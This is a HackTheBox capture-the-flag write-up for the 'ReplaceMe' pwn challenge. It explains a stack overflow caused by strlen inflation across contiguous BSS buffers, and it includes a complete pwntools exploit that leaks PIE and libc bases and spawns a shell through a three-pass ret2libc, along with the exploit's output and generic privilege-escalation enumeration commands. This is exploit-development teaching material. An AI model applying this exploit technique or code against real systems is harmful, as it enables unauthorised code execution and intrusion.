ReplaceMe
ReplaceMe
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-04 | Status: Solved Techniques: bss_contiguous_strlen_inflation, libc_leak_via_got, local_variable_overwrite_control, multi_pass_ret2libc, partial_ret_addr_overwrite, pie_leak_via_fputs, stack_alignment_tracking
Summary
Task: sed-like string replacement utility with read() not adding null terminator and contiguous BSS buffers. Solution: 3-pass ret2libc exploiting strlen inflation across buffer boundary, partial return address overwrite for PIE leak, GOT read for libc leak.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260304_hackthebox_replaceme - Tags: stack_overflow, pie, ret2libc, partial_overwrite, pwn, glibc_2.31, no_canary, full_relro, memcpy, bss_overflow, sed_parser, read_no_null, strlen_overflow
- Indicators: read() without null termination into BSS, contiguous BSS buffers (input + replacement), sed-like s/old/new/ format parser, memcpy with no bounds check on output buffer, no stack canary
- Source:
20260304_hackthebox_replaceme.md
Foothold
Vulnerability / Misconfiguration
- Bss_contiguous_strlen_inflation
- Libc_leak_via_got
- Local_variable_overwrite_control
- Multi_pass_ret2libc
- Partial_ret_addr_overwrite
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- bss_contiguous_strlen_inflation
- libc_leak_via_got
- local_variable_overwrite_control
- multi_pass_ret2libc
- partial_ret_addr_overwrite
- pie_leak_via_fputs
- stack_alignment_tracking
- Tags: stack_overflow, pie, ret2libc, partial_overwrite, pwn, glibc_2.31, no_canary, full_relro, memcpy, bss_overflow, sed_parser, read_no_null, strlen_overflow
Original Writeup
<details><summary>Click to expand original content</summary>Description
"This useful interactive SED-like utility was shared with me to use, can you make sure it is safe?"
64-bit ELF PIE binary, dynamically linked, not stripped. Implements an interactive string replacement utility in sed format (s/old/new/). Takes an input string and a replacement pattern, performs substitution, and outputs the result.
Remote target: 154.57.164.68:32476.
Files: replaceme (binary), libc.so.6 (Ubuntu GLIBC 2.31-0ubuntu9.14), Dockerfile (Ubuntu 20.04, socat), flag.txt.
Protections
| Protection | Status |
|---|---|
| PIE | Enabled |
| NX | Enabled |
| Canary | No |
| RELRO | Full (GOT not writable, but readable) |
Analysis
Key Functions
main()
Sequentially reads two inputs into BSS:
input(BSS 0x4040, 128 bytes) — string to processreplacement(BSS 0x40c0, 128 bytes) — replacement pattern ins/old/new/format
Then calls do_replacement().
ask_input(prompt, buffer, size)
Uses read(0, buffer, size) — does not add null terminator. This is critical: if all 128 bytes of input are filled, strlen() will continue reading into replacement.
do_replacement() — vulnerable function
Parses s/old/new/, finds old in input, builds result: prefix + new + suffix into stack buffer result[128] via memcpy without bounds checking.
rbp-0xc0: result[128] ← buffer start
rbp-0x40: padding
rbp-0x3c: after_len ← suffix length (int)
rbp-0x38: wp ← write pointer
rbp-0x30: match ← match pointer
rbp-0x24: new_len
rbp-0x20: end_slash
rbp-0x14: old_len
rbp-0x10: mid_slash
rbp-0x08: old_start
rbp+0x00: saved RBP
rbp+0x08: return address ← result + 0xc8 = result[200]
BSS Layout
input (0x4040) and replacement (0x40c0) are located contiguously in BSS. When input is filled with all 128 bytes without null terminator, strlen() continues counting bytes from replacement, inflating after_len.
Vulnerability
- Stack buffer overflow:
prefix_len + new_len + after_lencan exceed 128 bytes ofresult, overwriting local variables, saved RBP, and return address. - strlen inflation:
read()doesn't set\0, andinputandreplacementare contiguous in BSS →strlen(match + old_len)counts bytes from both buffers. - No canary → direct RIP control.
- memcpy with explicit length → null bytes in ROP addresses are preserved (unlike strcpy).
- fputs(result) prints until null byte → can leak addresses from stack.
Solution
Strategy: 3-pass ret2libc
The binary has Full RELRO (GOT not writable) and PIE, so we need to:
- Leak PIE base
- Leak libc base via GOT (readable)
- Call
system("/bin/sh")
Each pass overwrites the return address to return to main() for the next iteration.
Key Constraints
new_strcannot contain0x2f(/) — sed parser interprets it as delimiter- In passes 2-3, long
new_stroverwrites local variables.after_len(rbp-0x3c) needs to be set to-1(0xFFFFFFFF) — this is not null (fputs won't stop) and negative (skips suffix memcpy) - Stack alignment: each pass through main shifts RSP by 8 bytes. By pass 3, alignment is naturally correct for
system()
Pass 1: PIE Base Leak
Input: "N" + "B"*127 (128 bytes, no null)
Replacement: "s/N/" + "A"*71 + "/" (76 bytes)
old = "N"(1 byte),new = "A"*71, match atinput[0]prefix_len = 0,new_len = 71after_len = strlen(input[1])= 127 (B's) + 3 (start of "s/N" from replacement until\0) = 130- Total written:
0 + 71 + 130 = 201bytes → overwrites 1 byte of return address result[200]='N'=0x4e→ low byte of ret addr changes from0xbeto0x4e- Original ret addr:
PIE + 0x16be→ becomesPIE + 0x164e= main() (100% reliable, low 12 bits of PIE are fixed) fputs(result)prints 206 bytes (until null in 6th byte of PIE address)- Last 6 bytes of output = modified return address → PIE base leaked
Pass 2: libc Base Leak
Input: "A"*127 + "\x01" (128 bytes, match at position 127)
Replacement: "s/\x01/" + new_str(123 bytes) + "/" (128 bytes)
new_str layout (123 bytes):
[0:5] "B"*5 — padding
[5:9] p32(0xFFFFFFFF) — after_len = -1 (prevents suffix crash)
[9:73] "B"*64 — padding
[73:81] p64(PIE + 0x1733) — pop rdi; ret
[81:89] p64(PIE + 0x3f98) — puts@GOT (rdi argument)
[89:97] p64(PIE + 0x10e0) — puts@PLT
[97:105] p64(PIE + 0x164e) — main (return for pass 3)
[105:123] padding
ROP chain: pop rdi; ret → puts@GOT → puts@PLT → main
puts() outputs resolved libc address of puts → libc base leaked.
Pass 3: Getting Shell
Same overflow technique, different ROP chain:
[73:81] p64(PIE + 0x1733) — pop rdi; ret
[81:89] p64(libc + 0x1b45bd) — "/bin/sh"
[89:97] p64(libc + 0x52290) — system()
Stack alignment: by pass 3, RSP is naturally 16-byte aligned for system(), no additional ret gadget needed.
0x2f check: if any byte of ROP addresses equals 0x2f, sed parser will break. This depends on ASLR and is handled by retry loop.
Exploit
#!/usr/bin/env python3
from pwn import *
context.binary = "./replaceme"
context.log_level = "info"
MAIN = 0x164E
POP_RDI_RET = 0x1733
RET_GADGET = 0x101A
PUTS_PLT = 0x10E0
PUTS_GOT = 0x3F98
libc = ELF("./libc.so.6")
LIBC_PUTS = libc.symbols['puts'] # 0x84420
LIBC_SYSTEM = libc.symbols['system'] # 0x52290
LIBC_BINSH = next(libc.search(b'/bin/sh')) # 0x1b45bd
def exploit(target):
if target == "local":
p = process("./replaceme")
else:
host, port = target.split(":")
p = remote(host, int(port))
# PASS 1: PIE Leak via partial overwrite
p.recvuntil(b"Input: ")
p.send(b"N" + b"B" * 127)
p.recvuntil(b"Replacement: ")
p.send(b"s/N/" + b"A" * 71 + b"/")
p.recvuntil(b"result:\n")
data = p.recv(206)
leaked_addr = u64(data[200:206] + b"\x00\x00")
pie_base = leaked_addr - MAIN
log.success(f"PIE base: {hex(pie_base)}")
# PASS 2: Libc Leak via puts(puts@GOT)
p.recvuntil(b"Input: ")
p.send(b"A" * 127 + b"\x01")
p.recvuntil(b"Replacement: ")
new_str = bytearray(b"B" * 123)
new_str[5:9] = p32(0xFFFFFFFF) # after_len = -1
new_str[73:81] = p64(pie_base + POP_RDI_RET)
new_str[81:89] = p64(pie_base + PUTS_GOT)
new_str[89:97] = p64(pie_base + PUTS_PLT)
new_str[97:105] = p64(pie_base + MAIN)
new_str = bytes(new_str)
if b"/" in new_str: p.close(); return False
p.send(b"s/\x01/" + new_str + b"/")
p.recvuntil(b"result:\n")
p.recv(206)
leak_line = p.recvline()
leaked_puts = u64(leak_line[:-1].ljust(8, b"\x00"))
libc_base = leaked_puts - LIBC_PUTS
log.success(f"Libc base: {hex(libc_base)}")
# PASS 3: system("/bin/sh")
p.recvuntil(b"Input: ")
p.send(b"A" * 127 + b"\x01")
p.recvuntil(b"Replacement: ")
new_str3 = bytearray(b"B" * 123)
new_str3[5:9] = p32(0xFFFFFFFF)
new_str3[73:81] = p64(pie_base + POP_RDI_RET)
new_str3[81:89] = p64(libc_base + LIBC_BINSH)
new_str3[89:97] = p64(libc_base + LIBC_SYSTEM)
new_str3 = bytes(new_str3)
if b"/" in new_str3: p.close(); return False
p.send(b"s/\x01/" + new_str3 + b"/")
sleep(1); p.recv(timeout=2)
p.sendline(b"cat flag.txt")
sleep(1)
flag = p.recv(timeout=3)
log.success(f"Flag: {flag}")
p.close()
return True
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "local"
for attempt in range(20):
try:
if exploit(target): break
except: continue
Exploit Output
[*] Attempt 1
[+] PIE base: 0x562c6a6dd000
[+] Leaked puts: 0x7f7d9ae98420
[+] Libc base: 0x7f7d9ae14000
[+] id output: b'uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)\n'
[+] flag output: b'HTB{REDACTED}\n'
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR